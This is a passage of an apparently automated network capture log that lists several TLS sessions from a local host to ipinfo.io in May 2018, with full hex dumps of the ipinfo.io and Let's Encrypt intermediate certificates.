...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:34.560197115 CEST	443	49215	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:34.560197115 CEST	443	49215	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:41.848295927 CEST	443	49224	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:41.848295927 CEST	443	49224	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:46.561386108 CEST	443	49225	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 